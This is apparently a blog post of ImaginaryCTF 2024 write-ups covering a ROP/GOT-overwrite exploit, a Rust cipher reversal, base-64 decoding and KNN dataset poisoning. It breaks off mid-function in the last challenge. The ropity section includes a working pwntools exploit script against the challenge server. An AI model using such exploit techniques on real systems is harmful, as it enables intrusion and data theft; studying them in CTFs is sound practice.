Post

My Writeups For ImaginaryCTF 2024!

Intro

Hi everyone! Like my last CTF writeups, I’m writing these as I’m playing the CTF. So far, the challenges are very fun and interesting :) Without further ado, let’s get statrted!

pwn/ropity

In this challenge, we are given a vulnerable ELF binary fittingly called vuln. Upon running it, we aren’t given any prompt, and we need to input some data: roppity Let’s decompile the main function:

1
2
3
4
5
6
7
void main(void)
{
  undefined buf [8];
  
  FUNC_401040(buf,0x100,stdin);
  return;
}

The FUNC_401040 is the PLT (Procedure Linkage Table) stub for fgets. Don’t worry if you don’t know what that means: all you need to know for now is that it calls fgets with the arguments it gets. If so, the vulnerability is obvious: the program reads 0x100 bytes into a buffer of size 8! Exploiting this should be easy, right? Well, not so much. Let’s run checksec on the binary:

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

The only mitigation enabled is the NX bit, which means that memory regions, such as the stack, cannot be both writable and executable at the same time. This mitigation was introduced around the early-mid 2000s. To overcome this, we need to use sequences of instructions already present in the binary in order to accomplish our goal, whether it is reading a file like in this challenge, or getting a shell. This technique is called Return Oriented Programming (ROP). In the binary, we also have a function called printfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ENDBR64
PUSH      RBP
MOV       RBP,RSP
MOV       qword ptr [RBP + local_10],RDI
MOV       RAX,0x2
MOV       RSI,0x0
SYSCALL
MOV       RSI,RAX
MOV       RDI,0x1
MOV       RDX,0x0
MOV       R8,0x100
MOV       RAX,0x28
SYSCALL
NOP
POP       RBP
RET

This function is pretty simple: it first calls the open syscall to open a file whose filename is specified in rdi (rdi points to a buffer where the filename is), and then it calls the sendfile syscall to send 0x100 bytes from the file into stdout. If so, we can read the flag as follows

  1. Make rdi point to the string flag.txt\0
  2. Redirect execution to printfile But how do we do that? The binary doesn’t have any pop rdi gadgets (which are gadgets that pop values from the stack into a regsiter, hence writing arbitrary values to registers). It also uses partial RELRO and doesn’t have any functions that output things (such as puts), so we can’t leak a libc address (at least as far as I know :)) for things like ret2libc. If so, we’ll have to look for an alternative way. Let’s look at the disassembly of the main function more closely:
1
2
3
4
5
6
7
8
9
10
11
12
ENDBR64
PUSH      RBP
MOV       RBP,RSP
SUB       RSP,0x10
MOV       RDX,qword ptr [stdin]
LEA       RAX=>buf,[RBP + -0x8]
MOV       ESI,0x100
MOV       RDI,RAX
CALL      fgets_plt_stub
NOP
LEAVE
RET

Remember that we can redirect execution to anywhere we want, including partway through functions. The fgets function gets its arguments inside the following registers:

1
2
3
RDI - The buffer to write into
RSI - Number of characters to read
RDX - File stream to read from

After it returns, it puts a pointer to the buffer it wrote to into rax. This seems perfect for our purposes! If we can make fgets write the string flag.txt\0 somewhere in memory, and then move rax (which contains a pointer to said location) to rdi, we accomplished goal 1! Pay note to the following instruction in main:

1
LEA       RAX=>buf,[RBP + -0x8]

If we can control the value of RBP, this value will then be moved into RAX, and finally into RDI, giving us an arbitrary write using the fgets function! Let’s search for pop rbp; ret gadgets:

1
2
3
4
5
(.venv) ➜  roppity ROPgadget --binary vuln | grep "pop rbp"
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x000000000040111d : pop rbp ; ret

Bingo! We have a gadget at 0x40111d (the last one in the list). This gives us a pretty strong primitive. Let’s try it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process("./vuln")
elf = ELF("./vuln")

# pop rbp; ret
pop_rbp = 0x000000000040111d
# call fgets in main. also loads the value pointed to by [rbp - 8] to rax,
# which is where we write
call_fgets = 0x0000000000401142
# Random writable address in the binary
addr_to_write = 0x404028
# To fill up the buf
payload = b"A"*16
# Set rbp to 0x8 bytes after the address we want to write
payload += p64(pop_rbp)
payload += p64(addr_to_write + 0x8)
# Call fgets again; this time, since rbp points to the address we want to write
# +8, rdi will point to the address we want to write
payload += p64(call_fgets)

p.sendline(payload)
p.sendline(b"Hello!!\0")

p.interactive()

Before the second call to fgets:

1
2
3
4
gef➤  x/wx 0x404028
0x404028:	0x00000000
gef➤  
0x40402c:	0x00000000

After:

1
2
3
gef➤  x/s 0x404028
0x404028:	"Hello!!"

To recap so far:

  1. We have a binary vulnerable to a stack buffer overflow, and the ROP chain length is not a concern to us (since fgets reads 0x100 bytes)
  2. The binary contains a function printfile that prints to stdout the contents of the file whose name is pointed to by rdi
  3. We managed to get an arbitrary write primitive using fgets: we first write the desired address + 8 to rbp. This address then gets moved into rdi, which is the argument that tells fgets where it should write to
  4. We trigger this primitive by using a pop rbp; ret gadget and then jumping to main again

There’s only a slight problem: after fgets is called, rdi no longer points to the address we wrote into. To get around this, we will use something called the GOT (Global Offset Table): Since most C binaries are dynamicallly linked, the binary has to somehow know how to jump to external locations, such as the address of fgets inside libc. This is done as follows:

  1. The binary maintains two tables: the PLT (Procedure Linkage Table) and the GOT (Global Offset Table)
  2. The entries of the PLT are called PLT stubs. Each external function called by the binary has a corresponding stub. Each stub jumps to an address stored in a corresponding GOT entry
  3. The first time an external function, such as fgets, is called, its address inside libc is dynamically resolved using a function called __dl_runtime_resolve. However, calling this function is costly, so the address returned by this function is stored in the GOT entry.
  4. Subsequent calls to the function can now jump to the address stored in the GOT instead of calling __dl_runtime_resolve again This means that if we can overwrite the GOT entry of a function, such as fgets( which we can with our arbitrary write primitive), with another address in an executable region (such as printfile), all subsequent calls to the function will instead go to the function we want! This gives us our complete exploit:
  5. Use the arbitrary write primitive to overwrite the GOT entry for fgets with printfile, and to write flag.txt\0 in a writable region
  6. Call the main function again, and this time set rbp to point 8 bytes after the address of flag.txt\0. This will cause the function to move a pointer to this address into rdi, but this time because we’ve overwritten the GOT entry, when fgets will get called we’ll jump to printfile instead There’s another small problem to solve: since we’re changing the of rbp and then executing a leave instruction at the end of main, the value of rsp will also get changed to point to the new value of rbp, so we’ll have to write our return addresses directly after rbp so that when ret is executed it’ll pop the addresses we want. Here’s an image of the memory layout we want: ropity_mem_layout

Awesome! Now, let’s write a pwntools script to do this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#p = process("./vuln")
p = remote("ropity.chal.imaginaryctf.org", 1337)
elf = ELF("./vuln")

# mov eax, 0x0; test rax, rax; ret;
zero_eax = 0x0040109d
# syscall; nop; pop rbp; ret
syscall = 0x00401198
# pop rbp; ret
pop_rbp = 0x000000000040111d
# call fgets in main. also loads the value pointed to by [rbp - 8] to rax,
# which is where we write
call_fgets = 0x0000000000401142
# Location where we'll write "file.txt\0"
filename_addr = 0x00404050
printfile = elf.sym.printfile
mov_edi = 0x00000000004010a7
fgets_got = 0x404018

data = 0x00404030

# To fill up the buf
payload = b"A"*16
# Overwrite the GOT entry
payload += p64(pop_rbp)
payload += p64(fgets_got + 0x8)
# Return so we can write the second payload to the above address
payload += p64(call_fgets)

if args.GDB:
    gdb.attach(p)

input("PAUSE")

p.sendline(payload)
p.sendline(p64(printfile) + p64(0) + p64(pop_rbp) + p64(fgets_got + 0x30) + p64(call_fgets) + b"flag.txt" + p64(0))

p.interactive()

And this gives us the flag! ropity_flag

rev/Rust

In this challenge, as the name suggests, we need to reverse a Rust ELF binary. We are also provided a file output.txt (the output of the program where the message is the flag, and the key is unknown) which will come in handy later:

1
2
3
Enter the message:REDACTED
Enter the key (in hex): REDACTED
Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]

Upon running the binary, we see a similar prompt to the one in output.txt:

1
2
3
Enter the message:Hello!
Enter the key (in hex): 1234
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6122]

Let’s get to reversing! Luckily this program isn’t stripped, so we have the symbol names. The main function only contains one line:

1
2
3
4
5
void main(int param_1,u8 **param_2)
{
  std::rt::lang_start<()>(rust::rust::main,(long)param_1,param_2,0);
  return;
}

The lang_start function sets up the runtime, and then calls the program’s actual code, which is at rust::rust::main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/* DWARF original prototype: void main(void) */

void __rustcall rust::rust::main(void)
{
  &str &Var1;
  &[&str] pieces;
  &[&str] pieces_00;
  String msg;
  String key;
  &str msg_1;
  u128 key_hex;
  Arguments local_128;
  Result<> local_f8;
  Stdout local_f0;
  String local_e8;
  Result<> local_d0;
  undefined local_c0 [56];
  Result<> local_88;
  Stdout local_80;
  String local_78;
  Result<> local_60;
  undefined local_50 [16];
  usize local_40;
  Result<> local_38;
  undefined local_10 [16];
  
  pieces.length = 1;
  pieces.data_ptr = (&str *)&PTR_s_Enter_the_message:_00162050;
  core::fmt::Arguments::new_const(&local_128,pieces);
  std::io::stdio::_print(&local_128);
  local_f0 = std::io::stdio::stdout();
  local_f8 = std::io::stdio::flush(&local_f0);
  core::ptr::drop_in_place<>(&local_f8);
  alloc::string::String::new(&local_e8);
                    /* try { // try from 0010a5a7 to 0010a5af has its CatchHandler @ 0010a5c9 */
  local_c0._0_8_ = std::io::stdio::stdin();
                    /* try { // try from 0010a5ec to 0010a6a9 has its CatchHandler @ 0010a5c9 */
  std::io::stdio::Stdin::read_line((Stdin *)&local_d0,(String *)local_c0);
  core::ptr::drop_in_place<>(&local_d0);
  pieces_00.length = 1;
  pieces_00.data_ptr = (&str *)&PTR_s_Enter_the_key_(in_hex):_00162060;
  core::fmt::Arguments::new_const((Arguments *)(local_c0 + 8),pieces_00);
  std::io::stdio::_print((Arguments *)(local_c0 + 8));
  local_80 = std::io::stdio::stdout();
  local_88 = std::io::stdio::flush(&local_80);
  core::ptr::drop_in_place<>(&local_88);
  alloc::string::String::new(&local_78);
                    /* try { // try from 0010a6ac to 0010a6b4 has its CatchHandler @ 0010a6ce */
  local_50._0_8_ = std::io::stdio::stdin();
                    /* try { // try from 0010a6f1 to 0010a80e has its CatchHandler @ 0010a6ce */
  std::io::stdio::Stdin::read_line((Stdin *)&local_60,(String *)local_50);
  core::ptr::drop_in_place<>(&local_60);
  &Var1 = alloc::string::deref(&local_e8);
  join{0x00000010,0x00000000} = core::str::trim(&Var1);
  &Var1 = alloc::string::deref(&local_78);
  &Var1 = core::str::trim(&Var1);
  core::num::from_str_radix(&local_38,&Var1,0x10);
  local_10 = (undefined  [16])core::result::Result<>::unwrap_or_default<>(&local_38);
  encrypt((char *)local_50._8_8_,stack0xffffffffffffffb8.length);
                    /* try { // try from 0010a811 to 0010a81d has its CatchHandler @ 0010a5c9 */
  core::ptr::drop_in_place<>(&local_78);
  core::ptr::drop_in_place<>(&local_e8);
  return;
}

This code looks pretty intimidating, so let’s reverse it part-by-part. It starts by printing the line Enter the message:, like we saw when we ran the program. This is done by the following code:

1
2
3
4
5
6
7
  pieces.length = 1;
  pieces.data_ptr = (&str *)&PTR_s_Enter_the_message:_00162050;
                    /* Enter the message:  */
  core::fmt::Arguments::new_const(&local_128,pieces);
  std::io::stdio::_print(&local_128);
  local_f0 = std::io::stdio::stdout();
  local_f8 = std::io::stdio::flush(&local_f0);

The pieces struct contains the arguments passed internally to the std::io::stdio::_print()function. Its length is 1, since it only prints one string, and it’s data_ptr points to the string Enter the message: which is located in the data section. The core::fmt::Arguments struct is constructed from pieces using the core::fmt::Arguments::new_const(). Finally, this struct is passed into _print, which prints it, and then stdout is flushed. Then, the program reads the key from stdin using read_line. Afterwards, the key is read in a similar way, and is converted to hex with core::num::from_str_radix. The program then calls the encrypt function with the message and the key. Here’s the code of encrypt (without the local variable definitions):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* DWARF original prototype: void encrypt(&str message, u128 key) */

void __rustcall rust::rust::encrypt(char *__block,int __edflag)
{
  self_01.length = CONCAT44(in_register_00000034,__edflag);
  self_01.data_ptr = (u8 *)__block;
  local_b8 = __block;
  local_b0 = self_01.length;
  capacity = core::str::len(self_01);
  alloc::vec::Vec<>::with_capacity<i128>(&local_138,capacity);
  self.length = self_01.length;
  self.data_ptr = (u8 *)__block;
                      /* try { // try from 0010a1bc to 0010a1c0 has its CatchHandler @ 0010a1e5 */
  self_00 = core::str::bytes(self);
                      /* try { // try from 0010a1fb to 0010a390 has its CatchHandler @ 0010a1e5 */
  local_120 = (Iter<u8>)core::iter::traits::collect::into_iter<>(self_00);
  while( true ) {
    OVar1 = core::str::iter::next((Bytes *)&local_120);
                      /* DL is the next byte in the input */
    local_10a = OVar1._0_1_;
    if (((ushort)OVar1 & 1) == 0) {
      local_d8.value = (Opaque *)&local_138;
      local_8 = alloc::vec::fmt<>;
      local_18 = alloc::vec::fmt<>;
      local_d8.formatter = alloc::vec::fmt<>;
      pieces.length = 2;
      pieces.data_ptr = (&str *)&DAT_00162000;
      args.length = 1;
      args.data_ptr = &local_d8;
      local_20 = (Vec<> *)local_d8.value;
      local_10 = (Vec<> *)local_d8.value;
      core::fmt::Arguments::new_v1(&local_108,pieces,args);
      std::io::stdio::_print(&local_108);
      local_c0 = std::io::stdio::stdout();
      local_c8 = std::io::stdio::flush(&local_c0);
      core::ptr::drop_in_place<>(&local_c8);
      core::ptr::drop_in_place<>(&local_138);
      return;
    }
    local_78 = 0;
    curr_c2_shl_5 = (ulong)extraout_DL << 5;
    local_70 = curr_c2_shl_5 >> 3;
    local_68 = 0;
    local_60 = in_RDX ^ local_70;
    uVar3 = local_60 + 0x539;
    uVar2 = in_RCX + (0xfffffffffffffac6 < local_60);
    if (SCARRY8(in_RCX,0) != SCARRY8(in_RCX,(ulong)(0xfffffffffffffac6 < local_60))) break;
    local_40 = ~uVar3;
    local_38 = ~uVar2;
    local_50 = uVar3;
    local_48 = uVar2;
    if (CARRY8(in_RCX,in_RCX) || CARRY8(in_RCX * 2,(ulong)CARRY8(in_RDX,in_RDX))) {
      expr_00.length = 0x21;
      expr_00.data_ptr = (u8 *)"attempt to multiply with overflow";
                      /* WARNING: Subroutine does not return */
      core::panicking::panic(expr_00);
    }
    value._8_8_ = in_RDX * 2;
    value._0_8_ = local_38;
    local_30 = in_RDX * 2;
    local_28 = in_RCX * 2 + (ulong)CARRY8(in_RDX,in_RDX);
    alloc::vec::Vec<>::push<>(&local_138,(i128)value);
  }
  expr.length = 0x1c;
  expr.data_ptr = (u8 *)"attempt to add with overflow";
                      /* try { // try from 0010a4a0 to 0010a50e has its CatchHandler @ 0010a1e5 */
                      /* WARNING: Subroutine does not return */
  core::panicking::panic(expr);
}

From a quick glance, the following code seems interesting:

1
2
3
4
5
6
7
8
9
10
11
12
  self_00 = core::str::bytes(self);
                      /* try { // try from 0010a1fb to 0010a390 has its CatchHandler @ 0010a1e5 */
  local_120 = (Iter<u8>)core::iter::traits::collect::into_iter<>(self_00);
  while( true ) {
    OVar1 = core::str::iter::next((Bytes *)&local_120);
                      /* DL is the next byte in the input */
    local_10a = OVar1._0_1_;
    if (((ushort)OVar1 & 1) == 0) {
      ...
    }
    ...
  }

It seems like an iterator, local_120 is being created from the bytes of something using core::iter::traits::collect::into_iter. It’s reasonable to assume that the bytes we’re iterating over are the bytes of the message input by the user. The next element in the iterator is then put into OVar1 using core::str::iter::next. Then, we have an if statement:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    if (((ushort)curr_byte & 1) == 0) {
      local_d8.value = (Opaque *)&local_138;
      local_8 = alloc::vec::fmt<>;
      local_18 = alloc::vec::fmt<>;
      local_d8.formatter = alloc::vec::fmt<>;
      pieces.length = 2;
      pieces.data_ptr = (&str *)&DAT_00162000;
      args.length = 1;
      args.data_ptr = &local_d8;
      local_20 = (Vec<> *)local_d8.value;
      local_10 = (Vec<> *)local_d8.value;
      core::fmt::Arguments::new_v1(&local_108,pieces,args);
      std::io::stdio::_print(&local_108);
      local_c0 = std::io::stdio::stdout();
      local_c8 = std::io::stdio::flush(&local_c0);
      core::ptr::drop_in_place<>(&local_c8);
      core::ptr::drop_in_place<>(&local_138);
      return;
    }

The repeated calls to alloc::vec::fmt tell us that this code is probably printing some vector, and then returning. The only vector we have in the program is the encrypted message, which is printed after the encryption process:

1
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6122]

So it’s pretty safe to assume that this is the part that handles this, and the condition inside the if probably checks whether we’ve finished iterating (i.e. there are no elements left in the iterator). After the if check, we have the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    local_78 = 0;
    curr_c2_shl_5 = (ulong)extraout_DL << 5;
    local_70 = curr_c2_shl_5 >> 3;
    local_68 = 0;
    local_60 = in_RDX ^ local_70;
    uVar2 = local_60 + 0x539;
    uVar1 = in_RCX + (0xfffffffffffffac6 < local_60);
    if (SCARRY8(in_RCX,0) != SCARRY8(in_RCX,(ulong)(0xfffffffffffffac6 < local_60))) break;
                      /* Take the not */
    local_40 = ~uVar2;
    local_38 = ~uVar1;
    local_50 = uVar2;
    local_48 = uVar1;
    if (CARRY8(in_RCX,in_RCX) || CARRY8(in_RCX * 2,(ulong)CARRY8(in_RDX,in_RDX))) {
      expr_00.length = 0x21;
      expr_00.data_ptr = (u8 *)"attempt to multiply with overflow";
                      /* WARNING: Subroutine does not return */
      core::panicking::panic(expr_00);
    }
    value._8_8_ = in_RDX * 2;
    value._0_8_ = local_38;
    local_30 = in_RDX * 2;                      /* Add 0x539 to the result */
    local_28 = in_RCX * 2 + (ulong)CARRY8(in_RDX,in_RDX);
    alloc::vec::Vec<>::push<>(&local_138,(i128)value);

This probably the part that handles the encryption, since a value is pushed to the encrypted vector at the end. Reading the decompilation here is pretty confusing, so instead I switched to debugging the program with gdb and looking at the disassembly, which starts as follows:

1
2
3
4
5
mov    rcx, QWORD PTR [rsp+0x58]
mov    rax, QWORD PTR [rsp+0x60]
shld   rax, rcx, 0x5
mov    QWORD PTR [rsp+0x38], rax
shl    rcx, 0x5

It seems like some local variables are moved into rcx and rax. Let’s step past the first 2 instructions to see what these values are:

1
2
$rax   : 0x0
$rcx   : 0x41

Since the message I used as input is “ABCDE”, and this is the first iteration of the loop, it seems like rcx contains the current byte of the message. rax just contains a zero. Now, the next 3 instructions shift the current byte to the left 5 times and store the result in rcx:

1
2
3
4
gef➤  p/x $rcx
$1 = 0x820
gef➤  p/x 0x41 << 5
$2 = 0x820

Now, some local variable operations are done on the stack. We’ll skip those and step until we get to the next arithmetic operation, which turns out to be another shift:

1
2
3
mov    rsi, rax
shld   rsi, rdi, 0x3d
sar    rax, 0x3

Let’s inspect the relevant registers:

1
2
3
$rax   : 0x0
$rdi   : 0x820
$rsi   : 0x00005555555bcbb5  →  0x000000000000000a ("\n"?)

So $rdicontains current_byte << 5, $rax is zero, and $rsi is some address in the binary that points to a newline. After these instructions, the value of (current_byte << 5) << 0x3d is stored in $rsi. Since we’re dealing with 64-bit values here, shifting left by 0x3d=61 is equivalent to shifting right by 64-61=3, so $rsi now contains (current_byte << 5) >> 3 = (current_byte << 2). The next arithemtic operations are two XORs:

1
2
xor    rdx, rsi
xor    rcx, rax

Here the states of the registers:

1
2
3
4
$rdx   : 0x1234 ; The key I inputted
$rsi   : 0x104 ; Same value as before: 0x41 << 2
$rcx   : 0x0
$rax   : 0x0

The key is XORed with (current_byte << 2), and the result is put in rdx. To recap what happens so far:

  1. We iterate over each byte in the message
  2. If we’ve finished iterating, print the vector of encoded values
  3. Otherwise, compute a = current_byte << 2
  4. Then compute b = a ^ key The next operation adds 0x539 to rdx, whose value hasn’t changed since the last operation:
1
add    rdx, 0x539

Finally, we take the bitwise NOT of rax, whose value is the previous value of rdx (i.e. ((current_byte << 2) ^ key) + 0x539):

1
2
not    rax

This is it! This value is then pushed to the encrypted vector with alloc::vec::Vec<>::push<>. To make sure we did everything correctly, let’s write a short Python script to emulate the program:

1
2
3
4
5
6
7
8
9
10
11
msg = input("Enter message: ")
key = int(input("Enter key in hex: "), 16)
output = []

for c in [ord(x) for x in msg]:
    encrypted = (c << 2) ^ key
    encrypted += 0x539
    encrypted = ~encrypted
    output.append(encrypted)

print(output)

Let’s run it:

1
2
3
4
5
6
7
8
// The Rust binary
Enter the message:Hello world!
Enter the key (in hex): 1234
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6126, -6434, -6338, -6454, -6334, -6366, -6122]
// Our python script
Enter message: Hello world!
Enter key in hex: 1234
[-6222, -6362, -6334, -6334, -6338, -6126, -6434, -6338, -6454, -6334, -6366, -6122]

Cool! We’ve managed to find out what encryption algorithm the program uses. But we still need to find the flag from the provided output.txt, and remember that we aren’t given the key. The challenge’s description shows the following:

1
Note: The message that produces the provided encryption is the flag.

Remember that the program encrypts its input one byte at a time: the encyption of one byte doesn’t depend on the encryption of another. Why is this important? Flags at CTFs usually follow some kind of format. For example, in Imaginary CTF the format is ictf{...}. This means that the first encrypted element in the output.txt file is the encryption of the character ‘i’, which is the first character in the flag, using some unknown key. In other words: encrypt('i', key) = first element in output.txt = -42148619422891531582255418903. Using our knowledge of how the encryption process works, we can simply reverse the operations and solve for the key. Let’s call the first element shown above y. Then:

1
2
3
4
5
6
7
8
encrypt('i', key) = y
~((('i' << 2) ^ key) + 0x539) = y
// Bitwise NOT is its own inverse
((('i' << 2) ^ key) + 0x539) = ~y
// Subtract 0x539 from both sides
(('i' << 2) ^ key) = ~y - 0x539
// XORing is its own inverse
key = ( ~y - 0x539) ^ ('i' << 2)

Using the following script, we get that the value of the key is 42148619422891531582255417721:

1
2
3
4
5
output_of_flag = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
flag = []
key = (~output_of_flag[0] - 0x539) ^ (ord('i') << 2)

print("[+] The key is {}".format(key))

Now that we have the key, we can similarily invert the encryption process to get each byte of the flag:

1
2
3
4
5
6
7
8
9
10
y = encrypt(x, key)
y = ~(((x << 2) ^ key) + 0x539)
// Take the bitwise NOT of both sides
~y = ((x << 2) ^ key) + 0x539
// Subtract 0x539
~y - 0x539 = (x << 2) ^ key)
// XOR with the key
(~y - 0x539) ^ key = (x << 2)
// Right shift by 2
((~y - 0x539) ^ key) >> 2 = x

Let’s add the following lines to our script to do this:

1
2
3
4
5
6
7
8
9
for y in output_of_flag:
    x = ~y
    x -= 0x539
    x ^= key
    x = x >> 2

    flag.append(x)

print("".join([chr(c) for c in flag]))

This gives us the flag!

1
ictf{ru57_r3v_7f4d3a}

Pretty fun challenge :)

crypto/base64

In this challenge, we get three files:

1
2
3
main.py
sbg.png
out.txt

The sbg.png file is an image and it’s not really relevant to the challenge. The main.py script contains the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import bytes_to_long

q = 64

flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)

secret_key = []
while flag_int:
    secret_key.append(flag_int % q)
    flag_int //= q

print(f"{secret_key = }")

It starts by opening the flag, converting its bytes to a long, and then converting said long to base64 by repeatedly taking the modulo with q=64 and dividing by 64. Finally, it prints the resulting base64-encoded flag into out.txt:

1
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

To reverse this process, we simply need to base64-decode the encoded flag, which can be done by multiplying each byte with 64 to the power of its position, and the summing up all the results. I did this with the following script:

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes

base64_enc = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
enc_len = len(base64_enc) - 1
flag_int = 0

for i in range(len(base64_enc) - 1, -1, -1):
    flag_int += base64_enc[i] * (64 ** i)

print(long_to_bytes(flag_int))

This prints the flag:

1
b'ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}\n'

misc/starship

In this challenge, we’re given the address of a remote and a Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3

import pandas as pd
from io import StringIO
from sklearn.neighbors import KNeighborsClassifier
from gen import gen_data

done = False
flag = open("flag.txt").read().strip()

def menu():
  print("1. show dataset")
  print("2. train model")
  print("3. predict state")
  print("4. check incoming objects")

def train_dataset(dataset):
  df = pd.read_csv(StringIO(dataset))
  X, y = df.iloc[:, :-1].values, df.iloc[:, -1].values
  model = KNeighborsClassifier(n_neighbors=3)
  model.fit(X, y)
  return model

if __name__ == "__main__":
  print("<[ missle defense system control panel ]>")
  menu()

  print("initializing...")
  while True:
    dataset, incoming = gen_data()
    model = train_dataset(dataset)
    pred1 = model.predict([list(map(int, incoming[0].split(",")))])
    pred2 = model.predict([list(map(int, incoming[1].split(",")))])
    if pred1[0] == "enemy" and pred2[0] == "enemy":
      break

  while True:
    choice = int(input("> "))
    if choice == 1:
      print("--- BEGIN DATASET ---")
      print(dataset)
      print("--- END DATASET ---")
    if choice == 2:
      model = train_dataset(dataset)
      print("model trained!")
    if choice == 3:
      inp = input("enter data: ")
      pred = model.predict([list(map(int, inp.split(",")))])
      print(f"result: {pred}")
    if choice == 4:
      pred1 = model.predict([list(map(int, incoming[0].split(",")))])
      pred2 = model.predict([list(map(int, incoming[1].split(",")))])
      print(f"target 1: {incoming[0]} | result: {pred1[0]}")
      print(f"target 2: {incoming[1]} | result: {pred2[0]}")
      if pred1[0] == "friendly" and pred2[0] == "friendly":
        print(f"flag: {flag}")
    if choice == 42 and not done:
      inp = input("enter data: ")
      inp = inp.split(",")
      for i in range(9):
        inp[i] = int(inp[i])
      if len(inp) == 10:
        dataset = dataset.strip() + "\n" + ",".join(map(str,inp))
        done = True

The code gives us a menu:

  1. Print the dataset. Each line is the dataset is a different ship, ships have numerical attributes, and each ship is either an enemy of friendly. For example: `81,24,98,66,90,126,-21,118,69,friendly
  2. Train a K-nearest neighbors classifier on the dataset with n_neighbors=3. KNN is a very simple classifier: given some input x, such as a ship, it finds the K nearest neighbors of x (i.e. samples in the dataset whose distance with x is minimal), and then classifies x according to the majority class of its K neighbors. For example if x has 2 enemy neighbors and 1 friendly neighbor, it will be classified as an enemy
  3. Ask the model to predict the class of a ship
  4. Run the model on two ships in the incoming array. To get the flag, we need both of them to be classified as friendly
  5. Add a new ship to the dataset. Note that we can only do this once When we run option 4, we are given the ships that need to be classified as friendly. For example:
1
2
target 1: 39,74,25,47,48,88,31,56,93 | result: enemy
target 2: 47,48,51,23,73,48,13,33,57 | result: enemy

To make them get classified as friendly, we can add a new friendly sample to the dataset, and define each of its attributes as the mean between the corresponding two attributes in target 1 and target 2. For example, given the ships above, we’d define the first attribute of the new instance as (39 + 47) / 2 = 43. With a high probability, this new sample will be considered a neightbor of both target 1 and target 2, so as long as there’s at least another friendly neighbor for each of them, both will be classified as friendly. This gives us the flag: starship For an analogy of why this works (i.e. why the new sample will be considered a neighbor of both A and B almost certainly), consider two 2D points: A and B. If we use euclidean distance, the midpoint between A and B is probably closer to both A and B than another point C, even if one of C’s coordinates is very close to B’s coordinate: starship_points In 10D, this phenomenon gets even more apparent: even if one coordinate is very close, two points will probably be far away from each other if the other coordinates are not similar. Adding the midpoint makes all the coordinates pretty similar

rev/unoriginal

This is a fairly easy reversing task where we get one ELF binary unoriginal. We start by looking at the decompiled main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_4c;
  byte local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your flag here: ");
  gets((char *)local_48);
  for (local_4c = 0; local_4c < 0x30; local_4c = local_4c + 1) {
    local_48[local_4c] = local_48[local_4c] ^ 5;
  }
  iVar1 = strcmp((char *)local_48,"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx");
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Incorrect.");
  }
